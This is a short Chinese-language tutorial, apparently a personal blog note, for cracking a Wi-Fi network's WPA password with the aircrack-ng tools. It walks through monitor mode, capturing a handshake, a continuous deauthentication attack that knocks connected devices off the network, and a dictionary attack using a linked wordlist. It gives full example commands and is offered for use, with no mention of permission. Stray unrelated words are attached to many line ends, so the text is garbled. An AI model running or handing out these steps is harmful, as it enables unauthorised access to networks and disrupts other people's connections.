ifconfig
找到你要用到的網卡git
airmon-ng start wlan0
個人是wlp2s0
wlan0mon
個人是wlp2s0mon
後面多了mon證實成功github
airodump-ng wlan0mon
個人是airodump-ng wlp2s0mon
記錄下bssid ch 和bssid對應的stationcode
要在一個能夠寫入的文件下下打開終端get
airodump-ng -w 包名 -c ch --bssid bssid 使用的網卡名稱mon
例如it
airodump-ng -w 403 -c 11 --bssid CE:2F:71:23:CC:74 wlp2s0mon
爲了方便抓包咱們攻擊這個wifi使鏈接的設備斷開重連從而方便咱們抓包(重開一個終端執行攻擊而不是結束抓包從而攻擊)io
sudo aireplay-ng -0 0 -a bssid -c station 使用的網卡的名稱mon
例如ast
sudo aireplay-ng -0 0 -a 76:E5:F9:D8:4A:73 -c AC:92:32:61:DC:65 wlp2s0mon
直到class
抓包的終端出現[ WPA handshake: CE:2F:71:23:CC:74終端
結束攻擊結束抓包下載
sudo aircrack-ng -w 字典的路徑 抓到包的路徑
例如
sudo aircrack-ng -w /home/chen/下載/wpa-dictionary-master/other-1.txt /home/chen/下 載/403-01.cap
字典在github上有
https://github.com/conwnet/wpa-dictionary